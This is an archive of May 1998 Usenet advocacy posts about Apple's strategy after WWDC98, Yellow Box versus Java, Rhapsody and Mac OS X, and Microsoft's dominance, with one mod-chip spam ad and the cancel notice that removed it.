> >let's have a friendly bet --- some time between now and May 2000,
> >Apple stock will be over $60 (anybody in this bunch of frothing
> >"advocates" remember the last three times it was over $60?).
> >If I'm wrong, Rex, I'll share with you a bottle of Dom Perignon (and
> >if I have any money left over, an ounce of caviar to go with it).
> >Course, this is a win-win bet, right?
>
> I'll go one better. No money behind it - why gamble with you guys when I
> can just buy the stock...
>
> $45 by August 20. $60 by Jan 20 1999.
>
> Other predictions, but less thought out:
>
> I wouldn't be too surprised to see $27.5 near term, but nothing lower.
>
>
AAPL $27 5/16 today... whoops! One down :-)
Mike Paquette, stated options were driving the price lower, earlier! Any
options driving this stock slide? Someone posted that WWDC was over the heads
of most investors. AAPL's lost 4 pts. since WWDC Monday. Notice it's first
time AAPL hasn't held its price against a down market?
Another *new* strategy to save Apple Computer, No Wintel plan, No
cross-platform strategy, an additonal 18 mos. to implement "the strategy" and
a Jetsonesque effervescent state-of-the-art INTERNET machine engineered with
"less than state-of-the-art connectivity" were not lost on the Street, guys.
> Rebound to the 30's within 2-3 weeks. $35 before Macworld, $38 before
> earnings, slow runup to $45 as weak 1998 quarters are behind and big Q4
> iMac earnings are ahead. Watch for upgrades this quarter.
>
> Likely market meltdown could lower all predictions by $5-$10.
>
Market price is down $4 now, this is a meltdown? What will it do when the
exchange knocks 200 points off?
> I think these are safe, however.
>
-r
From: cbbrowne@news.amrcorp.com (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java is VHS, YellowBox is Betamax
Date: 22 May 1998 21:59:12 GMT
Organization: The SABRE Group
Message-ID: <6k4sfg$c7i3@hector.sabre.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <6k4e9i$420$1@nnrp1.dejanews.com> <6k4l4g$jkd$4@news.idiom.com>
On 22 May 1998 19:53:52 GMT, John C. Randolph
<jcr.remove@this.phrase.idiom.com> wrote:
> dave@prim.demon.co.uk may or may not have said:
>-> In article <35626D26.B7616464@alum.mit.edu>,
>-> Eric Hermanson <eric@alum.mit.edu> wrote:
>-> >
>-> > I have no problem with Yellow Box continuing to be wrapped in Java,
>making the
>-> > API's available. But I would hate to see Objective-C go away as a
>language in
>-> > favor of Java. I think many developers will adopt Obj-C once they are
>exposed
>-> > to it.
>->
>-> You better get used to it then 'cos Obj-C is history.
>
>Says you. From where I stand, I see Obj-C in the current GCC, which means
>that it's available everywhere.
And you can recompile Common LISP into C using various LISP tools, which
means that it's "available everywhere." That doesn't mean that
programmers en masse necessarily care.
Objective C may be available, but if nobody cares to program in it, but
rather use Java/C++, then it may well become true that "Obj-C is
history."
--
"Linux: the operating system with a CLUE... Command Line User
Environment". (seen in a posting in comp.software.testing)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
MIME-Version: 1.0
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References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
Message-ID: <4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 22:48:32 GMT
NNTP-Posting-Date: Fri, 22 May 1998 15:48:32 PDT
Organization: @Home Network
In <3565EAF0.282C4C33@nstar.net> "Michael J. Peck" wrote:
> Maury Markowitz wrote:
>
> [cut]
>
> > Do you not agree with this?
>
> Well...yeah, I really do. But I'm trying to come at it from a different
> angle...
>
> > I fully agree that having multiple platform
> > support is a reason to support a package by itself,
>
> There, that's the crux of it.
>
> > but if the platforms you
> > support intersect only at a tiny point you're likely better off doing
> > something more for the ones where there's a lot of overlap.
>
> But the whole reason for going to NT is market coverage. If you can get
> more coverage from Yellow Box, why not? Especially when the testimonials
> of rapid development times begin to roll in.
>
> > There's a lot of overlap between the Mac and Win worlds. There's a
smaller
> > overlap between them and the Linux worlds, but it's still definitely there
-
> > heck, the iMac could be the force that creates USB, who knows, maybe a YB
is
> > the force that makes Linux go through the roof.
>
> Right, another piece of the puzzle: Linux. A popular platform with
> rapidly growing support.
>
> > But that's about it. I
> > don't see any other obvious overlap areas where the benefit of supporting
> > platform x makes it a FAR better platform for developing on y. Maybe it's
> > just me.
>
> No, but let me explain a concept I'm finding difficult to put into
> words. It goes like this: 100% is better than 90%, and what makes it
> better is more than just 10%. The value increase from 90% to 100% is
> greater than that from 80% to 90%, am I right? I think that 100% is the
> concept that sold Java three years ago, and it can sell Yellow Box
> today.
>
>
I worked in the transportation industry briefly in the 70's after being fed-up
with mainframes, security doors and cold, windowless computer environments.
Doc Rattner is the largest trucking operator in the World. However, you won't
find him. In such a competitive environment he answers the question " How do
you get 70% of truck traffic?" Answer: " 10% here , 20% there, another 5%
pretty soon you have a big market and nobody noticed it while you took it". A
prescient Jewish businessman, Doc Rattner.
> Plus, you have so much more momentum to put to use. You have Linux, you
> have QuickTime, you have the Apple income stream, you have Java itself,
> and you have Windows NT! Why not put Windows NT to work selling Yellow
> Box? It can happen. It just needs to be figured out.
>
>
BINGO¼ paydirt! Rocksolid OPEN SOURCE argument¼ but needn't be so. Now
you're firing on all 12 processors! :-)
> > Sure, but to be a worthy competitor YB needs to bootstrap itself into
the
> > market. I don't think "hey look, it runs on Solaris" will do that. I
think
> > "hey look, it makes database programming a snap" will.
>
> True! Which makes me wonder why we don't hear more about how easy Yellow
> Box is to use (in terms of specific stuff in the marketplace). I can't
> help thinking that if Apple had spent some money getting someone to port
> to Yellow Box (no matter how much it took) it would have been such an
> important example.
>
> Remember how much effort Intel went to to get Adobe Photoshop ready for
> MMX benchmarks? That's the kind of thing Apple should be doing. Why
> aren't they? Adobe's not a good example for Yellow Box, but...Intuit is,
> for instance.
>
>
What good is a software architecture if it needs to optimize to hardware?
Guys, guys... all wrong.
> > > Hmmm, right, it didn't raise any eyebrows that Java would run
> > > anywhere...
> >
> > Been to Upside's web site lately?
>
> If it's the same stuff we normally see, they're trying to debunk the
> Java Everywhere thing. That's a separate discussion, and I think they're
> wrong, to make a long story short.
>
> But it *is* a separate issue: the original excitement, the kickstart,
> that's what I'm talking about. Yellow Box has been nothing but a cold
> fish. I understand some of the intricacies of Jobs' position, but
> c'mon...
>
>
Apple has neither Street Cred or Cashflow to rip-off Java's marketing coup.
> > > > Apple has basically two paths, sales of Rhapsody related items, and
> > sales
> > > > of Mac related items.
> > >
> > > Ridiculous.
> >
> > Are you willing to provide any evidence of this?
>
> Let me put it this way: there's no point in a dual-platform strategy. It
> makes no sense. Heck, a one-platform strategy makes little sense, in my
> opinion. What I want is an all-encompassing platform, the grail
> everyone's currently looking for. It's not like people don't understand
> how much different platforms are costing them in terms of development.
> That's the whole impetus toward NT. Simply adding two more platforms to
> the mix is what I call "ridiculous".
>
> Steve Jobs *does* need to milk MacOS and move on, without all the
> bone-chilling implications of that statement. Do what Amelio promised
> originally please! Support MacOS indefinitely, but start pushing Yellow
> Box as the universal platform. It makes so much sense.
>
>
But Yellow Box is a "thing" again. The trick is to package this into a
marketable (read profitable) product suite. I thought that this was wired
from the day Apple bought NeXT up until WWDC98 Monday. It is glaringly
obvious that MacOS grabbed mindwidth and squoze it out of the RhapsodyDNA.
Now we have MacOS X retro-buzz.
Maybe Jobs bought a BMW Z3 and liked it. What the hell, why not retro-grade
the Mac? Voila, MacOS X... its all the rage.
-r
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 22 May 1998 18:49:29 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-2205981849300001@mv159.axom.com>
References: <joe.ragosta-2105981725040001@wil97.dol.net> <B18A5541-13B972@207.217.155.37>
In article <B18A5541-13B972@207.217.155.37>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
>Joe Ragosta wrote:
>
>>10 years from now, I would hope that Carbon is
>>history and everyone's doing YB development.
>
>10 years ago, most people wished COBOL were dead. Yet COBOL continues to
>the basis for lots of mission critical apps in lots of organizations.
>The issue here is legacy applications, custom and mass market, that run on
>Macs.
>Blue Box on its own was a situation that Mac developers of all shapes and
>sizes weren't ecstatic about in the Rhapsody picture. Carbon addresses
>those concerns. But it won't be worth its atomic weight if it isn't
>supported _indefinitely_, or for at least another 7 years, whichever comes
>first.
>The key strength that kept Apple afloat during the lean years was backward
>compatibility. Users could just move software to a new faster Mac, and 90%
>of the time, it just worked. Until Apple establishes tremendous staying
>power in wider and different markets than its Mac base (and it hasn't yet),
>backward compatibility must be the number one concern for survival. Mac
>users won't move up unless and until they can take their data and or apps
>with them.
In order for Apple to get developers over to Yellow they've got to find
some way to transition them in small steps. Maybe allowing a developer to
first move the event loop over to Yellow and have a CarbonDocument
subclass that allows most of the rest of a program to remain Carbon, while
allowing easier access to things like scripting or other advanced services
offered to Yellow apps.
Later, a developer could more most of the UI over to Yellow, keeping the
guts as Carbon. This allows several smaller steps, each with some gains
and good reasons for a developer to use them, rather than an 'all or
nothing' approach.
This actually worked for both Fortran and Cobol. There were numerous
stories of how older Cobol/Fortran programs were updated by wiring them
into OPENSTEP GUI frontends. The old code stays around and even gets
more usefull as it's easier to use, and in some cases, gets more
functionality. Somer modern versions of the same thing are putting GUI
front ends to various Unix tools.
I've heard that Yellow will allow calls to Carbon (I don't know why it
wouldn't) and that's the first part of the bridge to help Mac Devlopers
move to Yellow.
--
Ted Brown tbrown@netset.com
From: jpalmer@-noshpam-best.com (Joseph Palmer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 23:37:26 GMT
Organization: My organization? Least recently used.
Message-ID: <6k525c$2gi$1@nntp1.ba.best.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1>
In article <01bd85a8$4bed8860$04387880@test1>, "Todd Heberlein" <todd@NetSQ.com> wrote:
>When the history books are written for 1980s-1990s, it will be interesting
>to see how they explain how Microsoft was able to dominate market after
>market with inferior products.
Um... Who do you think will write those histories, and do you think
they will characterize those products as "Inferior"?
I'm just askin'.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 18:14:52 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2205981814520001@pm3a24.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net>
In article <6k2sok$l4r$3@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joshua T. McKee wrote in message ...
> >You're still not clear...do you mean why doesn't Netscape use the API's
> >Microsoft has provided and use them in its web browsers? Or why doesn't
> >Netscape come up with their own API's like Microsoft has done?
> However, it doesn't matter what piece of code implements that interface. A
> program calling the methods of the interface just can't tell. This means
> that Netscape could turn itself into "the code that implements IWebBrowser".
> No one would be able to tell the difference, as long as Netscape implements
> the interface correctly.
Thanks for clarifying your position. I am familiar with COM and the idea
behind it.
It would be much more difficult for Netscape to provide this level of
functionality over Microsoft because Microsoft is the developer of the
OS. And Netscape still would not be able to preload it on computers like
Microsoft can. You think it's hard enough to get the "application"
version of Navigator pre-installed, just imagine how difficult it would be
if they made it like IE.
Josh
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
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References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com>
Message-ID: <0Uo91.2283$Kx3.2486421@news.rdc1.sdca.home.com>
Date: Sat, 23 May 1998 00:38:20 GMT
NNTP-Posting-Date: Fri, 22 May 1998 17:38:20 PDT
Organization: @Home Network
Any Questions about Rhapsody? Get "the" definitive answer wrt. Future of
Rhapsody
go see: http://www.macnn.com/rhapnet/features/dr2/
:-)
-r
From: PsxModifications <generation5@hotmail.com>
Newsgroups: comp.sys.next.advocacy
Subject: @@@ Sony Playstation Modification Chips @@@@
Date: 22 May 1998 23:23:59 GMT
Organization: PsxModChips
Message-ID: <6k51ef$n31$10558@m5.stny.lrun.com>
The hottest Mod chip on the web is back!
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the market.
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customers. And or course, you get the BEST PRICE.
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Mod chip installations are only 30$. Take advantage of them. Check out
our webpage for more!!
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 06:05:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35655BF0.C3D2E8D6@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k26h6$5o7$3@cronkite.cygnus.com>
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John Rudd wrote:
> > 2) Explicit Linux support
>
> Do they need to be any more explicit than the mklinux project they already
> support?
Perhaps YB under Linux?
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Fri, 22 May 1998 06:43:11 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356564CF.B5BC821A@milestonerdl.com>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47>
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Matthew Vaughan wrote:
> In article <joe.ragosta-2105982051550001@elk126.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <see-below-2105981612370001@209.24.241.47>,
> > see-below@not-my-address.com (Matthew Vaughan) wrote:
> >
> > > Motorola's clone sales had been growing rapidly, and with ultra-fast
> > > machines (faster than what Apple is offering even today) combined with OS
> > > 8, they probably felt they could start taking a bite out of Intel's hide
> > > for once.
> >
> > None of which supports Lawson's assertion that IBM or Motorola would have
> > moved any faster if there were more vendors.
>
> You're saying that Motorola's ability to sell their own computers using
> their own chips wouldn't have been a reason for them to ramp up chip
> production?
What is one of the big markets for motorola? Communications, was radios, now
phones. What drives phone switches? Microprocessors. There is NO reason why
Motorola couldn't make a design that served BOTH the 'embedded' and the 'general'
market.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 22 May 1998 06:03:03 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35655B67.852C81BD@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104> <35642793.C2A7D977@milestonerdl.com> <6k226v$6g3$1@news.digifix.com> <joe.ragosta-2105981725040001@wil97.dol.net>
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Joe Ragosta wrote:
> The way I see it, Yellow Box is the premier cross-platform environment
> (better than Java from what I've seen).
Except that you can't run YB on any Unix, save Apple. Java you can. If Apple
wanted the 'premier cross-platform environment' YB would have to go where Java
does....and, well, it can't.
> It also has the best development
> tools on the planet. 10 years from now, I would hope that Carbon is
> history and everyone's doing YB development.
In tool development, others are not standing still.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 06:16:55 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35655EA7.8A374532@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
<6k26h6$5o7$3@cronkite.cygnus.com> <3564AE23.3777@CONVEX.COM> <6k2hr8$5o7$4@cronkite.cygnus.com>
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To: jrudd@cygnus.com
John Rudd wrote:
> If it was me who was making the decisions, I wouldn't wait for a compelling
> reason to port YB to various boxes. I would port YB everywhere and
> sell/distribute it everywhere, and wait for compelling reasons (like lack of
> adoption) to put each platform into maintenance mode.
Perhaps just contributing to GnuSTEP and let the people port it where they want.
Then make YB the 'commerical option' for said platform.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Fri, 22 May 1998 06:30:23 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356561CF.45D64701@milestonerdl.com>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <rmcassid-2005982026030001@dialin9043.slip.uci.edu> <35642DA3.5747E5F9@milestonerdl.com> <rmcassid-2105981001230001@dante.eng.uci.edu>
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What part of less than 10% of market, or 4% of PC sales don't you understand?
You are living in denial, if you don't believe the Macintosh is a Niche
hardware product.
Robert Cassidy wrote:
> In article <35642DA3.5747E5F9@milestonerdl.com>, m rassbach
> <mark@milestonerdl.com> wrote:
>
> >Or, it's a smoke screen to justify the move away from Niche hardware to
> Mainstream
> >hardware.
>
> Mark, do we need to send you more tinfoil? Did the last stuff fall off so
> soon? Maybe put a snug hat over it next time...
>
> -Bob Cassidy
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6k51ef$n31$10558@m5.stny.lrun.com>
Control: cancel <6k51ef$n31$10558@m5.stny.lrun.com>
Date: 22 May 1998 23:34:52 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6k51ef$n31$10558@m5.stny.lrun.com>
Sender: PsxModifications <generation5@hotmail.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 14:43:34 +1200
Organization: Geek Central
Message-ID: <ldo-2305981443340001@a15.hn3.wave.co.nz>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com> <35633A4A.674666DC@alumni.caltech.edu>
In article <35633A4A.674666DC@alumni.caltech.edu>, William Edward Woody
<woody@alumni.caltech.edu> wrote:
>...while there are those around here who may see Microsoft as being
>superior to Apple because Apple had to go out of house for expertise,
>they're forgetting that Microsoft went out of house _twice_, first to
>IBM, and then to the Digital engineers.
Didn't I also hear somewhere that Apple holds more patents than Microsoft?
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 20:06:02 -0700
Organization: Primenet (602)416-7000
Message-ID: <6k5eeq$5m6@nntp02.primenet.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@vt.edu> wrote:
: You argue "Microsoft products are better for customers because everyone
: has to use Microsoft products", which is completely circular.
Yes, which is why Apple is trapped at 1 Infinite Loop.
I write data warehouse applications for a living. I think we have a nice
stable set of UNIX based technology. In addition our software is happy
enough on a workstation-class machine (costing < $5,000). In spite of all
that, our customer base wants a Windows NT solution. Now, it is kind of
hard with NT 4.0 to provide the kind of service we provide under HP-UX,
AIX, or Solaris, but we try. And that is the whole point. Thousands of
little companies like ours are out there trying to make NT work as an
enterprise server ... because our customers want us to. The customers
want us to because "everyone" is going to NT ... infinite loop.
The beauty of cross-platform solutions like Yellow Box or Java is that
they try to gain speed in that infinite loop before breaking out. You
don't have to discard your investment to run Java, you just have to load
up a JVM (in theory). The problem is that Bill is watching out for people
doing that sort of thing. Nestscape tried to gain speed on Windows with
their Broswer before launching a Netscape Desktop. It was kind of silly
for them to tip their hand, but it was the right plan.
I've thought that Java (for all its weaknesses) is the best available wave
for Apple to ride out of 1 Infinite Loop. Perhaps a Yellow Java meld can
still do that.
John
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 03:19:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3566403D.95F1C382@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net> <4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com>
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NNTP-Posting-Date: 23 May 1998 03:24:08 GMT
Rex Riley wrote:
[cut]
> > Remember how much effort Intel went to to get Adobe Photoshop ready for
> > MMX benchmarks? That's the kind of thing Apple should be doing. Why
> > aren't they? Adobe's not a good example for Yellow Box, but...Intuit is,
> > for instance.
>
> What good is a software architecture if it needs to optimize to hardware?
> Guys, guys... all wrong.
Eh, no, you missed my point. I was talking about technology
introductions, not hardware optimization specifically. The analogous
Yellow Box event would be a Yellow Box Quicken, not a hardware-optimized
Quicken.
> > But it *is* a separate issue: the original excitement, the kickstart,
> > that's what I'm talking about. Yellow Box has been nothing but a cold
> > fish. I understand some of the intricacies of Jobs' position, but
> > c'mon...
>
> Apple has neither Street Cred or Cashflow to rip-off Java's marketing coup.
And Sun's credibility was...what? at the time of the Java introduction?
Anyway, I'm not talking about *amount* of hype, I'm talking about *any*
hype at all.
Gosh, I wonder how "Think Different" money is being spent to enhance the
public perception of Yellow Box...
(Hint: it's not)
> But Yellow Box is a "thing" again. The trick is to package this into a
> marketable (read profitable) product suite. I thought that this was wired
> from the day Apple bought NeXT up until WWDC98 Monday. It is glaringly
> obvious that MacOS grabbed mindwidth and squoze it out of the RhapsodyDNA.
> Now we have MacOS X retro-buzz.
>
> Maybe Jobs bought a BMW Z3 and liked it. What the hell, why not retro-grade
> the Mac? Voila, MacOS X... its all the rage.
Ai, you're so depressing. Cheer up, Rex :-) There's a big picture here,
and it can still be a pretty one.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 03:37:51 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3566448F.2722F9E0@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us>
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NNTP-Posting-Date: 23 May 1998 03:42:34 GMT
Nathan Urban wrote:
> > Because from where I stand, if you work at Sun, HP, IBM, or SGI writing
> > operating systems and UNIX software, you just plain suck. Either that or
> > your management sucks, doesn't make a difference to me. The stuff you're
> > turning out is useless to 99% of the world.
>
> Your whole argument is bogus. Microsoft's solutions aren't "better".
Not from your perspective. Please, would you at least admit that the
only person qualified to absolutely judge the quality of a product for
your needs is yourself? Now would you extent that to other people?
If you want to say that you are ready to vouch for the quality (or lack
thereof) of Microsoft products as applied to other peoples' needs,
please do so:
__________________________________________________________________________________________________________________________
> They don't make products that are "better for their customers", they
> just leverage the fact that everyone is locked into using Windows and
> their data formats are de facto standard.
That's the excuse I hear every time. The funny thing is, most Microsoft
customers I talk to insist that they use Microsoft products because they
like them. Hmmmm, I wonder whose word I should take on it: the satisfied
customer or the whining and jealous malcontent?
How stupid of me to get rhetorical at this point in time. I shouldn't be
